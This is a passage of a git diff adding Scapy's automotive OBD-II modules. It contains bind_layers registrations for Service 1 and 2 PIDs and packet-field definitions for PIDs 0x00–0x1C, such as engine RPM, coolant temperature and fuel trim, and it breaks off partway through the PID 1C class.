pid=0x0D) +bind_layers(OBD_S01_PR_Record, OBD_PID0E, pid=0x0E) +bind_layers(OBD_S01_PR_Record, OBD_PID0F, pid=0x0F) +bind_layers(OBD_S01_PR_Record, OBD_PID10, pid=0x10) +bind_layers(OBD_S01_PR_Record, OBD_PID11, pid=0x11) +bind_layers(OBD_S01_PR_Record, OBD_PID12, pid=0x12) +bind_layers(OBD_S01_PR_Record, OBD_PID13, pid=0x13) +bind_layers(OBD_S01_PR_Record, OBD_PID14, pid=0x14) +bind_layers(OBD_S01_PR_Record, OBD_PID15, pid=0x15) +bind_layers(OBD_S01_PR_Record, OBD_PID16, pid=0x16) +bind_layers(OBD_S01_PR_Record, OBD_PID17, pid=0x17) +bind_layers(OBD_S01_PR_Record, OBD_PID18, pid=0x18) +bind_layers(OBD_S01_PR_Record, OBD_PID19, pid=0x19) +bind_layers(OBD_S01_PR_Record, OBD_PID1A, pid=0x1A) +bind_layers(OBD_S01_PR_Record, OBD_PID1B, pid=0x1B) +bind_layers(OBD_S01_PR_Record, OBD_PID1C, pid=0x1C) +bind_layers(OBD_S01_PR_Record, OBD_PID1D, pid=0x1D) +bind_layers(OBD_S01_PR_Record, OBD_PID1E, pid=0x1E) +bind_layers(OBD_S01_PR_Record, OBD_PID1F, pid=0x1F) +bind_layers(OBD_S01_PR_Record, OBD_PID20, pid=0x20) +bind_layers(OBD_S01_PR_Record, OBD_PID21, pid=0x21) +bind_layers(OBD_S01_PR_Record, OBD_PID22, pid=0x22) +bind_layers(OBD_S01_PR_Record, OBD_PID23, pid=0x23) +bind_layers(OBD_S01_PR_Record, OBD_PID24, pid=0x24) +bind_layers(OBD_S01_PR_Record, OBD_PID25, pid=0x25) +bind_layers(OBD_S01_PR_Record, OBD_PID26, pid=0x26) +bind_layers(OBD_S01_PR_Record, OBD_PID27, pid=0x27) +bind_layers(OBD_S01_PR_Record, OBD_PID28, pid=0x28) +bind_layers(OBD_S01_PR_Record, OBD_PID29, pid=0x29) +bind_layers(OBD_S01_PR_Record, OBD_PID2A, pid=0x2A) +bind_layers(OBD_S01_PR_Record, OBD_PID2B, pid=0x2B) +bind_layers(OBD_S01_PR_Record, OBD_PID2C, pid=0x2C) +bind_layers(OBD_S01_PR_Record, OBD_PID2D, pid=0x2D) +bind_layers(OBD_S01_PR_Record, OBD_PID2E, pid=0x2E) +bind_layers(OBD_S01_PR_Record, OBD_PID2F, pid=0x2F) +bind_layers(OBD_S01_PR_Record, OBD_PID30, pid=0x30) +bind_layers(OBD_S01_PR_Record, OBD_PID31, pid=0x31) +bind_layers(OBD_S01_PR_Record, OBD_PID32, pid=0x32) +bind_layers(OBD_S01_PR_Record, OBD_PID33, pid=0x33) +bind_layers(OBD_S01_PR_Record, OBD_PID34, pid=0x34) +bind_layers(OBD_S01_PR_Record, OBD_PID35, pid=0x35) +bind_layers(OBD_S01_PR_Record, OBD_PID36, pid=0x36) +bind_layers(OBD_S01_PR_Record, OBD_PID37, pid=0x37) +bind_layers(OBD_S01_PR_Record, OBD_PID38, pid=0x38) +bind_layers(OBD_S01_PR_Record, OBD_PID39, pid=0x39) +bind_layers(OBD_S01_PR_Record, OBD_PID3A, pid=0x3A) +bind_layers(OBD_S01_PR_Record, OBD_PID3B, pid=0x3B) +bind_layers(OBD_S01_PR_Record, OBD_PID3C, pid=0x3C) +bind_layers(OBD_S01_PR_Record, OBD_PID3D, pid=0x3D) +bind_layers(OBD_S01_PR_Record, OBD_PID3E, pid=0x3E) +bind_layers(OBD_S01_PR_Record, OBD_PID3F, pid=0x3F) +bind_layers(OBD_S01_PR_Record, OBD_PID40, pid=0x40) +bind_layers(OBD_S01_PR_Record, OBD_PID41, pid=0x41) +bind_layers(OBD_S01_PR_Record, OBD_PID42, pid=0x42) +bind_layers(OBD_S01_PR_Record, OBD_PID43, pid=0x43) +bind_layers(OBD_S01_PR_Record, OBD_PID44, pid=0x44) +bind_layers(OBD_S01_PR_Record, OBD_PID45, pid=0x45) +bind_layers(OBD_S01_PR_Record, OBD_PID46, pid=0x46) +bind_layers(OBD_S01_PR_Record, OBD_PID47, pid=0x47) +bind_layers(OBD_S01_PR_Record, OBD_PID48, pid=0x48) +bind_layers(OBD_S01_PR_Record, OBD_PID49, pid=0x49) +bind_layers(OBD_S01_PR_Record, OBD_PID4A, pid=0x4A) +bind_layers(OBD_S01_PR_Record, OBD_PID4B, pid=0x4B) +bind_layers(OBD_S01_PR_Record, OBD_PID4C, pid=0x4C) +bind_layers(OBD_S01_PR_Record, OBD_PID4D, pid=0x4D) +bind_layers(OBD_S01_PR_Record, OBD_PID4E, pid=0x4E) +bind_layers(OBD_S01_PR_Record, OBD_PID4F, pid=0x4F) +bind_layers(OBD_S01_PR_Record, OBD_PID50, pid=0x50) +bind_layers(OBD_S01_PR_Record, OBD_PID51, pid=0x51) +bind_layers(OBD_S01_PR_Record, OBD_PID52, pid=0x52) +bind_layers(OBD_S01_PR_Record, OBD_PID53, pid=0x53) +bind_layers(OBD_S01_PR_Record, OBD_PID54, pid=0x54) +bind_layers(OBD_S01_PR_Record, OBD_PID55, pid=0x55) +bind_layers(OBD_S01_PR_Record, OBD_PID56, pid=0x56) +bind_layers(OBD_S01_PR_Record, OBD_PID57, pid=0x57) +bind_layers(OBD_S01_PR_Record, OBD_PID58, pid=0x58) +bind_layers(OBD_S01_PR_Record, OBD_PID59, pid=0x59) +bind_layers(OBD_S01_PR_Record, OBD_PID5A, pid=0x5A) +bind_layers(OBD_S01_PR_Record, OBD_PID5B, pid=0x5B) +bind_layers(OBD_S01_PR_Record, OBD_PID5C, pid=0x5C) +bind_layers(OBD_S01_PR_Record, OBD_PID5D, pid=0x5D) +bind_layers(OBD_S01_PR_Record, OBD_PID5E, pid=0x5E) +bind_layers(OBD_S01_PR_Record, OBD_PID5F, pid=0x5F) +bind_layers(OBD_S01_PR_Record, OBD_PID60, pid=0x60) +bind_layers(OBD_S01_PR_Record, OBD_PID61, pid=0x61) +bind_layers(OBD_S01_PR_Record, OBD_PID62, pid=0x62) +bind_layers(OBD_S01_PR_Record, OBD_PID63, pid=0x63) +bind_layers(OBD_S01_PR_Record, OBD_PID64, pid=0x64) +bind_layers(OBD_S01_PR_Record, OBD_PID65, pid=0x65) +bind_layers(OBD_S01_PR_Record, OBD_PID66, pid=0x66) +bind_layers(OBD_S01_PR_Record, OBD_PID67, pid=0x67) +bind_layers(OBD_S01_PR_Record, OBD_PID68, pid=0x68) +bind_layers(OBD_S01_PR_Record, OBD_PID69, pid=0x69) +bind_layers(OBD_S01_PR_Record, OBD_PID6A, pid=0x6A) +bind_layers(OBD_S01_PR_Record, OBD_PID6B, pid=0x6B) +bind_layers(OBD_S01_PR_Record, OBD_PID6C, pid=0x6C) +bind_layers(OBD_S01_PR_Record, OBD_PID6D, pid=0x6D) +bind_layers(OBD_S01_PR_Record, OBD_PID6E, pid=0x6E) +bind_layers(OBD_S01_PR_Record, OBD_PID6F, pid=0x6F) +bind_layers(OBD_S01_PR_Record, OBD_PID70, pid=0x70) +bind_layers(OBD_S01_PR_Record, OBD_PID71, pid=0x71) +bind_layers(OBD_S01_PR_Record, OBD_PID72, pid=0x72) +bind_layers(OBD_S01_PR_Record, OBD_PID73, pid=0x73) +bind_layers(OBD_S01_PR_Record, OBD_PID74, pid=0x74) +bind_layers(OBD_S01_PR_Record, OBD_PID75, pid=0x75) +bind_layers(OBD_S01_PR_Record, OBD_PID76, pid=0x76) +bind_layers(OBD_S01_PR_Record, OBD_PID77, pid=0x77) +bind_layers(OBD_S01_PR_Record, OBD_PID78, pid=0x78) +bind_layers(OBD_S01_PR_Record, OBD_PID79, pid=0x79) +bind_layers(OBD_S01_PR_Record, OBD_PID7A, pid=0x7A) +bind_layers(OBD_S01_PR_Record, OBD_PID7B, pid=0x7B) +bind_layers(OBD_S01_PR_Record, OBD_PID7C, pid=0x7C) +bind_layers(OBD_S01_PR_Record, OBD_PID7D, pid=0x7D) +bind_layers(OBD_S01_PR_Record, OBD_PID7E, pid=0x7E) +bind_layers(OBD_S01_PR_Record, OBD_PID7F, pid=0x7F) +bind_layers(OBD_S01_PR_Record, OBD_PID80, pid=0x80) +bind_layers(OBD_S01_PR_Record, OBD_PID81, pid=0x81) +bind_layers(OBD_S01_PR_Record, OBD_PID82, pid=0x82) +bind_layers(OBD_S01_PR_Record, OBD_PID83, pid=0x83) +bind_layers(OBD_S01_PR_Record, OBD_PID84, pid=0x84) +bind_layers(OBD_S01_PR_Record, OBD_PID85, pid=0x85) +bind_layers(OBD_S01_PR_Record, OBD_PID86, pid=0x86) +bind_layers(OBD_S01_PR_Record, OBD_PID87, pid=0x87) +bind_layers(OBD_S01_PR_Record, OBD_PID88, pid=0x88) +bind_layers(OBD_S01_PR_Record, OBD_PID89, pid=0x89) +bind_layers(OBD_S01_PR_Record, OBD_PID8A, pid=0x8A) +bind_layers(OBD_S01_PR_Record, OBD_PID8B, pid=0x8B) +bind_layers(OBD_S01_PR_Record, OBD_PID8C, pid=0x8C) +bind_layers(OBD_S01_PR_Record, OBD_PID8D, pid=0x8D) +bind_layers(OBD_S01_PR_Record, OBD_PID8E, pid=0x8E) +bind_layers(OBD_S01_PR_Record, OBD_PID8F, pid=0x8F) +bind_layers(OBD_S01_PR_Record, OBD_PID90, pid=0x90) +bind_layers(OBD_S01_PR_Record, OBD_PID91, pid=0x91) +bind_layers(OBD_S01_PR_Record, OBD_PID92, pid=0x92) +bind_layers(OBD_S01_PR_Record, OBD_PID93, pid=0x93) +bind_layers(OBD_S01_PR_Record, OBD_PID94, pid=0x94) +bind_layers(OBD_S01_PR_Record, OBD_PID98, pid=0x98) +bind_layers(OBD_S01_PR_Record, OBD_PID99, pid=0x99) +bind_layers(OBD_S01_PR_Record, OBD_PID9A, pid=0x9A) +bind_layers(OBD_S01_PR_Record, OBD_PID9B, pid=0x9B) +bind_layers(OBD_S01_PR_Record, OBD_PID9C, pid=0x9C) +bind_layers(OBD_S01_PR_Record, OBD_PID9D, pid=0x9D) +bind_layers(OBD_S01_PR_Record, OBD_PID9E, pid=0x9E) +bind_layers(OBD_S01_PR_Record, OBD_PID9F, pid=0x9F) +bind_layers(OBD_S01_PR_Record, OBD_PIDA0, pid=0xA0) +bind_layers(OBD_S01_PR_Record, OBD_PIDA1, pid=0xA1) +bind_layers(OBD_S01_PR_Record, OBD_PIDA2, pid=0xA2) +bind_layers(OBD_S01_PR_Record, OBD_PIDA3, pid=0xA3) +bind_layers(OBD_S01_PR_Record, OBD_PIDA4, pid=0xA4) +bind_layers(OBD_S01_PR_Record, OBD_PIDA5, pid=0xA5) +bind_layers(OBD_S01_PR_Record, OBD_PIDA6, pid=0xA6) +bind_layers(OBD_S01_PR_Record, OBD_PIDC0, pid=0xC0) + + +# Service 2 + +bind_layers(OBD_S02_PR_Record, OBD_PID00, pid=0x00) +bind_layers(OBD_S02_PR_Record, OBD_PID01, pid=0x01) +bind_layers(OBD_S02_PR_Record, OBD_PID02, pid=0x02) +bind_layers(OBD_S02_PR_Record, OBD_PID03, pid=0x03) +bind_layers(OBD_S02_PR_Record, OBD_PID04, pid=0x04) +bind_layers(OBD_S02_PR_Record, OBD_PID05, pid=0x05) +bind_layers(OBD_S02_PR_Record, OBD_PID06, pid=0x06) +bind_layers(OBD_S02_PR_Record, OBD_PID07, pid=0x07) +bind_layers(OBD_S02_PR_Record, OBD_PID08, pid=0x08) +bind_layers(OBD_S02_PR_Record, OBD_PID09, pid=0x09) +bind_layers(OBD_S02_PR_Record, OBD_PID0A, pid=0x0A) +bind_layers(OBD_S02_PR_Record, OBD_PID0B, pid=0x0B) +bind_layers(OBD_S02_PR_Record, OBD_PID0C, pid=0x0C) +bind_layers(OBD_S02_PR_Record, OBD_PID0D, pid=0x0D) +bind_layers(OBD_S02_PR_Record, OBD_PID0E, pid=0x0E) +bind_layers(OBD_S02_PR_Record, OBD_PID0F, pid=0x0F) +bind_layers(OBD_S02_PR_Record, OBD_PID10, pid=0x10) +bind_layers(OBD_S02_PR_Record, OBD_PID11, pid=0x11) +bind_layers(OBD_S02_PR_Record, OBD_PID12, pid=0x12) +bind_layers(OBD_S02_PR_Record, OBD_PID13, pid=0x13) +bind_layers(OBD_S02_PR_Record, OBD_PID14, pid=0x14) +bind_layers(OBD_S02_PR_Record, OBD_PID15, pid=0x15) +bind_layers(OBD_S02_PR_Record, OBD_PID16, pid=0x16) +bind_layers(OBD_S02_PR_Record, OBD_PID17, pid=0x17) +bind_layers(OBD_S02_PR_Record, OBD_PID18, pid=0x18) +bind_layers(OBD_S02_PR_Record, OBD_PID19, pid=0x19) +bind_layers(OBD_S02_PR_Record, OBD_PID1A, pid=0x1A) +bind_layers(OBD_S02_PR_Record, OBD_PID1B, pid=0x1B) +bind_layers(OBD_S02_PR_Record, OBD_PID1C, pid=0x1C) +bind_layers(OBD_S02_PR_Record, OBD_PID1D, pid=0x1D) +bind_layers(OBD_S02_PR_Record, OBD_PID1E, pid=0x1E) +bind_layers(OBD_S02_PR_Record, OBD_PID1F, pid=0x1F) +bind_layers(OBD_S02_PR_Record, OBD_PID20, pid=0x20) +bind_layers(OBD_S02_PR_Record, OBD_PID21, pid=0x21) +bind_layers(OBD_S02_PR_Record, OBD_PID22, pid=0x22) +bind_layers(OBD_S02_PR_Record, OBD_PID23, pid=0x23) +bind_layers(OBD_S02_PR_Record, OBD_PID24, pid=0x24) +bind_layers(OBD_S02_PR_Record, OBD_PID25, pid=0x25) +bind_layers(OBD_S02_PR_Record, OBD_PID26, pid=0x26) +bind_layers(OBD_S02_PR_Record, OBD_PID27, pid=0x27) +bind_layers(OBD_S02_PR_Record, OBD_PID28, pid=0x28) +bind_layers(OBD_S02_PR_Record, OBD_PID29, pid=0x29) +bind_layers(OBD_S02_PR_Record, OBD_PID2A, pid=0x2A) +bind_layers(OBD_S02_PR_Record, OBD_PID2B, pid=0x2B) +bind_layers(OBD_S02_PR_Record, OBD_PID2C, pid=0x2C) +bind_layers(OBD_S02_PR_Record, OBD_PID2D, pid=0x2D) +bind_layers(OBD_S02_PR_Record, OBD_PID2E, pid=0x2E) +bind_layers(OBD_S02_PR_Record, OBD_PID2F, pid=0x2F) +bind_layers(OBD_S02_PR_Record, OBD_PID30, pid=0x30) +bind_layers(OBD_S02_PR_Record, OBD_PID31, pid=0x31) +bind_layers(OBD_S02_PR_Record, OBD_PID32, pid=0x32) +bind_layers(OBD_S02_PR_Record, OBD_PID33, pid=0x33) +bind_layers(OBD_S02_PR_Record, OBD_PID34, pid=0x34) +bind_layers(OBD_S02_PR_Record, OBD_PID35, pid=0x35) +bind_layers(OBD_S02_PR_Record, OBD_PID36, pid=0x36) +bind_layers(OBD_S02_PR_Record, OBD_PID37, pid=0x37) +bind_layers(OBD_S02_PR_Record, OBD_PID38, pid=0x38) +bind_layers(OBD_S02_PR_Record, OBD_PID39, pid=0x39) +bind_layers(OBD_S02_PR_Record, OBD_PID3A, pid=0x3A) +bind_layers(OBD_S02_PR_Record, OBD_PID3B, pid=0x3B) +bind_layers(OBD_S02_PR_Record, OBD_PID3C, pid=0x3C) +bind_layers(OBD_S02_PR_Record, OBD_PID3D, pid=0x3D) +bind_layers(OBD_S02_PR_Record, OBD_PID3E, pid=0x3E) +bind_layers(OBD_S02_PR_Record, OBD_PID3F, pid=0x3F) +bind_layers(OBD_S02_PR_Record, OBD_PID40, pid=0x40) +bind_layers(OBD_S02_PR_Record, OBD_PID41, pid=0x41) +bind_layers(OBD_S02_PR_Record, OBD_PID42, pid=0x42) +bind_layers(OBD_S02_PR_Record, OBD_PID43, pid=0x43) +bind_layers(OBD_S02_PR_Record, OBD_PID44, pid=0x44) +bind_layers(OBD_S02_PR_Record, OBD_PID45, pid=0x45) +bind_layers(OBD_S02_PR_Record, OBD_PID46, pid=0x46) +bind_layers(OBD_S02_PR_Record, OBD_PID47, pid=0x47) +bind_layers(OBD_S02_PR_Record, OBD_PID48, pid=0x48) +bind_layers(OBD_S02_PR_Record, OBD_PID49, pid=0x49) +bind_layers(OBD_S02_PR_Record, OBD_PID4A, pid=0x4A) +bind_layers(OBD_S02_PR_Record, OBD_PID4B, pid=0x4B) +bind_layers(OBD_S02_PR_Record, OBD_PID4C, pid=0x4C) +bind_layers(OBD_S02_PR_Record, OBD_PID4D, pid=0x4D) +bind_layers(OBD_S02_PR_Record, OBD_PID4E, pid=0x4E) +bind_layers(OBD_S02_PR_Record, OBD_PID4F, pid=0x4F) +bind_layers(OBD_S02_PR_Record, OBD_PID50, pid=0x50) +bind_layers(OBD_S02_PR_Record, OBD_PID51, pid=0x51) +bind_layers(OBD_S02_PR_Record, OBD_PID52, pid=0x52) +bind_layers(OBD_S02_PR_Record, OBD_PID53, pid=0x53) +bind_layers(OBD_S02_PR_Record, OBD_PID54, pid=0x54) +bind_layers(OBD_S02_PR_Record, OBD_PID55, pid=0x55) +bind_layers(OBD_S02_PR_Record, OBD_PID56, pid=0x56) +bind_layers(OBD_S02_PR_Record, OBD_PID57, pid=0x57) +bind_layers(OBD_S02_PR_Record, OBD_PID58, pid=0x58) +bind_layers(OBD_S02_PR_Record, OBD_PID59, pid=0x59) +bind_layers(OBD_S02_PR_Record, OBD_PID5A, pid=0x5A) +bind_layers(OBD_S02_PR_Record, OBD_PID5B, pid=0x5B) +bind_layers(OBD_S02_PR_Record, OBD_PID5C, pid=0x5C) +bind_layers(OBD_S02_PR_Record, OBD_PID5D, pid=0x5D) +bind_layers(OBD_S02_PR_Record, OBD_PID5E, pid=0x5E) +bind_layers(OBD_S02_PR_Record, OBD_PID5F, pid=0x5F) +bind_layers(OBD_S02_PR_Record, OBD_PID60, pid=0x60) +bind_layers(OBD_S02_PR_Record, OBD_PID61, pid=0x61) +bind_layers(OBD_S02_PR_Record, OBD_PID62, pid=0x62) +bind_layers(OBD_S02_PR_Record, OBD_PID63, pid=0x63) +bind_layers(OBD_S02_PR_Record, OBD_PID64, pid=0x64) +bind_layers(OBD_S02_PR_Record, OBD_PID65, pid=0x65) +bind_layers(OBD_S02_PR_Record, OBD_PID66, pid=0x66) +bind_layers(OBD_S02_PR_Record, OBD_PID67, pid=0x67) +bind_layers(OBD_S02_PR_Record, OBD_PID68, pid=0x68) +bind_layers(OBD_S02_PR_Record, OBD_PID69, pid=0x69) +bind_layers(OBD_S02_PR_Record, OBD_PID6A, pid=0x6A) +bind_layers(OBD_S02_PR_Record, OBD_PID6B, pid=0x6B) +bind_layers(OBD_S02_PR_Record, OBD_PID6C, pid=0x6C) +bind_layers(OBD_S02_PR_Record, OBD_PID6D, pid=0x6D) +bind_layers(OBD_S02_PR_Record, OBD_PID6E, pid=0x6E) +bind_layers(OBD_S02_PR_Record, OBD_PID6F, pid=0x6F) +bind_layers(OBD_S02_PR_Record, OBD_PID70, pid=0x70) +bind_layers(OBD_S02_PR_Record, OBD_PID71, pid=0x71) +bind_layers(OBD_S02_PR_Record, OBD_PID72, pid=0x72) +bind_layers(OBD_S02_PR_Record, OBD_PID73, pid=0x73) +bind_layers(OBD_S02_PR_Record, OBD_PID74, pid=0x74) +bind_layers(OBD_S02_PR_Record, OBD_PID75, pid=0x75) +bind_layers(OBD_S02_PR_Record, OBD_PID76, pid=0x76) +bind_layers(OBD_S02_PR_Record, OBD_PID77, pid=0x77) +bind_layers(OBD_S02_PR_Record, OBD_PID78, pid=0x78) +bind_layers(OBD_S02_PR_Record, OBD_PID79, pid=0x79) +bind_layers(OBD_S02_PR_Record, OBD_PID7A, pid=0x7A) +bind_layers(OBD_S02_PR_Record, OBD_PID7B, pid=0x7B) +bind_layers(OBD_S02_PR_Record, OBD_PID7C, pid=0x7C) +bind_layers(OBD_S02_PR_Record, OBD_PID7D, pid=0x7D) +bind_layers(OBD_S02_PR_Record, OBD_PID7E, pid=0x7E) +bind_layers(OBD_S02_PR_Record, OBD_PID7F, pid=0x7F) +bind_layers(OBD_S02_PR_Record, OBD_PID80, pid=0x80) +bind_layers(OBD_S02_PR_Record, OBD_PID81, pid=0x81) +bind_layers(OBD_S02_PR_Record, OBD_PID82, pid=0x82) +bind_layers(OBD_S02_PR_Record, OBD_PID83, pid=0x83) +bind_layers(OBD_S02_PR_Record, OBD_PID84, pid=0x84) +bind_layers(OBD_S02_PR_Record, OBD_PID85, pid=0x85) +bind_layers(OBD_S02_PR_Record, OBD_PID86, pid=0x86) +bind_layers(OBD_S02_PR_Record, OBD_PID87, pid=0x87) +bind_layers(OBD_S02_PR_Record, OBD_PID88, pid=0x88) +bind_layers(OBD_S02_PR_Record, OBD_PID89, pid=0x89) +bind_layers(OBD_S02_PR_Record, OBD_PID8A, pid=0x8A) +bind_layers(OBD_S02_PR_Record, OBD_PID8B, pid=0x8B) +bind_layers(OBD_S02_PR_Record, OBD_PID8C, pid=0x8C) +bind_layers(OBD_S02_PR_Record, OBD_PID8D, pid=0x8D) +bind_layers(OBD_S02_PR_Record, OBD_PID8E, pid=0x8E) +bind_layers(OBD_S02_PR_Record, OBD_PID8F, pid=0x8F) +bind_layers(OBD_S02_PR_Record, OBD_PID90, pid=0x90) +bind_layers(OBD_S02_PR_Record, OBD_PID91, pid=0x91) +bind_layers(OBD_S02_PR_Record, OBD_PID92, pid=0x92) +bind_layers(OBD_S02_PR_Record, OBD_PID93, pid=0x93) +bind_layers(OBD_S02_PR_Record, OBD_PID94, pid=0x94) +bind_layers(OBD_S02_PR_Record, OBD_PID98, pid=0x98) +bind_layers(OBD_S02_PR_Record, OBD_PID99, pid=0x99) +bind_layers(OBD_S02_PR_Record, OBD_PID9A, pid=0x9A) +bind_layers(OBD_S02_PR_Record, OBD_PID9B, pid=0x9B) +bind_layers(OBD_S02_PR_Record, OBD_PID9C, pid=0x9C) +bind_layers(OBD_S02_PR_Record, OBD_PID9D, pid=0x9D) +bind_layers(OBD_S02_PR_Record, OBD_PID9E, pid=0x9E) +bind_layers(OBD_S02_PR_Record, OBD_PID9F, pid=0x9F) +bind_layers(OBD_S02_PR_Record, OBD_PIDA0, pid=0xA0) +bind_layers(OBD_S02_PR_Record, OBD_PIDA1, pid=0xA1) +bind_layers(OBD_S02_PR_Record, OBD_PIDA2, pid=0xA2) +bind_layers(OBD_S02_PR_Record, OBD_PIDA3, pid=0xA3) +bind_layers(OBD_S02_PR_Record, OBD_PIDA4, pid=0xA4) +bind_layers(OBD_S02_PR_Record, OBD_PIDA5, pid=0xA5) +bind_layers(OBD_S02_PR_Record, OBD_PIDA6, pid=0xA6) +bind_layers(OBD_S02_PR_Record, OBD_PIDC0, pid=0xC0) diff --git a/libs/scapy/contrib/automotive/obd/pid/pids_00_1F.py b/libs/scapy/contrib/automotive/obd/pid/pids_00_1F.py new file mode 100755 index 0000000..3e6b707 --- /dev/null +++ b/libs/scapy/contrib/automotive/obd/pid/pids_00_1F.py @@ -0,0 +1,378 @@ +# This file is part of Scapy +# See http://www.secdev.org/projects/scapy for more information +# Copyright (C) Andreas Korb +# Copyright (C) Nils Weiss +# This program is published under a GPLv2 license + +# scapy.contrib.status = skip + +from scapy.fields import BitEnumField, BitField, ScalingField, \ + FlagsField, XByteEnumField, PacketField +from scapy.contrib.automotive.obd.packet import OBD_Packet +from scapy.contrib.automotive.obd.services import OBD_DTC + + +# See https://en.wikipedia.org/wiki/OBD-II_PIDs for further information +# PID = Parameter IDentification + +class OBD_PID00(OBD_Packet): + name = "PID_00_PIDsSupported" + + fields_desc = [ + FlagsField('supported_pids', b'', 32, [ + 'PID20', + 'PID1F', + 'PID1E', + 'PID1D', + 'PID1C', + 'PID1B', + 'PID1A', + 'PID19', + 'PID18', + 'PID17', + 'PID16', + 'PID15', + 'PID14', + 'PID13', + 'PID12', + 'PID11', + 'PID10', + 'PID0F', + 'PID0E', + 'PID0D', + 'PID0C', + 'PID0B', + 'PID0A', + 'PID09', + 'PID08', + 'PID07', + 'PID06', + 'PID05', + 'PID04', + 'PID03', + 'PID02', + 'PID01' + ]) + ] + + +class OBD_PID01(OBD_Packet): + name = "PID_01_MonitorStatusSinceDtcsCleared" + + onOff = { + 0: 'off', + 1: 'on' + } + + fields_desc = [ + BitEnumField('mil', 0, 1, onOff), + BitField('dtc_count', 0, 7), + + BitField('reserved1', 0, 1), + FlagsField('continuous_tests_ready', 0, 3, [ + 'misfire', + 'fuelSystem', + 'components' + ]), + + BitField('reserved2', 0, 1), + FlagsField('continuous_tests_supported', 0, 3, [ + 'misfire', + 'fuel_system', + 'components' + ]), + + FlagsField('once_per_trip_tests_supported', 0, 8, [ + 'egr', + 'oxygenSensorHeater', + 'oxygenSensor', + 'acSystemRefrigerant', + 'secondaryAirSystem', + 'evaporativeSystem', + 'heatedCatalyst', + 'catalyst' + ]), + + FlagsField('once_per_trip_tests_ready', 0, 8, [ + 'egr', + 'oxygenSensorHeater', + 'oxygenSensor', + 'acSystemRefrigerant', + 'secondaryAirSystem', + 'evaporativeSystem', + 'heatedCatalyst', + 'catalyst' + ]) + ] + + +class OBD_PID02(OBD_Packet): + name = "PID_02_FreezeDtc" + fields_desc = [ + PacketField('dtc', b'', OBD_DTC) + ] + + +class OBD_PID03(OBD_Packet): + name = "PID_03_FuelSystemStatus" + + loopStates = { + 0x00: 'OpenLoopInsufficientEngineTemperature', + 0x02: 'ClosedLoop', + 0x04: 'OpenLoopEngineLoadOrFuelCut', + 0x08: 'OpenLoopDueSystemFailure', + 0x10: 'ClosedLoopWithFault' + } + + fields_desc = [ + XByteEnumField('fuel_system1', 0, loopStates), + XByteEnumField('fuel_system2', 0, loopStates) + ] + + +class OBD_PID04(OBD_Packet): + name = "PID_04_CalculatedEngineLoad" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 255., unit="%") + ] + + +class OBD_PID05(OBD_Packet): + name = "PID_05_EngineCoolantTemperature" + fields_desc = [ + ScalingField('data', 0, unit="deg. C", offset=-40.0) + ] + + +class OBD_PID06(OBD_Packet): + name = "PID_06_ShortTermFuelTrimBank1" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 128., + unit="%", offset=-100.0) + ] + + +class OBD_PID07(OBD_Packet): + name = "PID_07_LongTermFuelTrimBank1" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 128., + unit="%", offset=-100.0) + ] + + +class OBD_PID08(OBD_Packet): + name = "PID_08_ShortTermFuelTrimBank2" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 128., + unit="%", offset=-100.0) + ] + + +class OBD_PID09(OBD_Packet): + name = "PID_09_LongTermFuelTrimBank2" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 128., + unit="%", offset=-100.0) + ] + + +class OBD_PID0A(OBD_Packet): + name = "PID_0A_FuelPressure" + fields_desc = [ + ScalingField('data', 0, scaling=3, unit="kPa") + ] + + +class OBD_PID0B(OBD_Packet): + name = "PID_0B_IntakeManifoldAbsolutePressure" + fields_desc = [ + ScalingField('data', 0, unit="kPa") + ] + + +class OBD_PID0C(OBD_Packet): + name = "PID_0C_EngineRpm" + fields_desc = [ + ScalingField('data', 0, scaling=1 / 4., unit="min-1", fmt="H") + ] + + +class OBD_PID0D(OBD_Packet): + name = "PID_0D_VehicleSpeed" + fields_desc = [ + ScalingField('data', 0, unit="km/h") + ] + + +class OBD_PID0E(OBD_Packet): + name = "PID_0E_TimingAdvance" + fields_desc = [ + ScalingField('data', 0, scaling=1 / 2., unit="deg.", offset=-64.0) + ] + + +class OBD_PID0F(OBD_Packet): + name = "PID_0F_IntakeAirTemperature" + fields_desc = [ + ScalingField('data', 0, unit="deg. C", offset=-40.0) + ] + + +class OBD_PID10(OBD_Packet): + name = "PID_10_MafAirFlowRate" + fields_desc = [ + ScalingField('data', 0, scaling=1 / 100., unit="g/s") + ] + + +class OBD_PID11(OBD_Packet): + name = "PID_11_ThrottlePosition" + fields_desc = [ + ScalingField('data', 0, scaling=100 / 255., unit="%") + ] + + +class OBD_PID12(OBD_Packet): + name = "PID_12_CommandedSecondaryAirStatus" + + states = { + 0x00: 'upstream', + 0x02: 'downstreamCatalyticConverter', + 0x04: 'outsideAtmosphereOrOff', + 0x08: 'pumpCommanded' + } + + fields_desc = [ + XByteEnumField('data', 0, states) + ] + + +class OBD_PID13(OBD_Packet): + name = "PID_13_OxygenSensorsPresent" + fields_desc = [ + FlagsField('sensors_present', b'', 8, [ + 'Bank1Sensor1', + 'Bank1Sensor2', + 'Bank1Sensor3', + 'Bank1Sensor4', + 'Bank2Sensor1', + 'Bank2Sensor2', + 'Bank2Sensor3', + 'Bank2Sensor4' + ]) + ] + + +class _OBD_PID14_1B(OBD_Packet): + fields_desc = [ + ScalingField('outputVoltage', 0, scaling=0.005, unit="V"), + ScalingField('trim', 0, scaling=100 / 128., + unit="%", offset=-100) + ] + + +class OBD_PID14(_OBD_PID14_1B): + name = "PID_14_OxygenSensor1" + + +class OBD_PID15(_OBD_PID14_1B): + name = "PID_15_OxygenSensor2" + + +class OBD_PID16(_OBD_PID14_1B): + name = "PID_16_OxygenSensor3" + + +class OBD_PID17(_OBD_PID14_1B): + name = "PID_17_OxygenSensor4" + + +class OBD_PID18(_OBD_PID14_1B): + name = "PID_18_OxygenSensor5" + + +class OBD_PID19(_OBD_PID14_1B): + name = "PID_19_OxygenSensor6" + + +class OBD_PID1A(_OBD_PID14_1B): + name = "PID_1A_OxygenSensor7" + + +class OBD_PID1B(_OBD_PID14_1B): + name = "PID_1B_OxygenSensor8" + + +class OBD_PID1C(OBD_Packet): + name = "PID_1C_ObdStandardsThisVehicleConformsTo" + + obdStandards = { + 0x01: 'OBD-II as defined by the CARB', + 0x02: 'OBD as defined by the EPA', + 0x03: 'OBD and OBD-II', + 0x04: 'OBD-I', + 0x05: 'Not OBD compliant', + 0x06: 'EOBD (Europe)', + 0x07: 'EOBD and OBD-II', + 0x08: 'EOBD and OBD', + 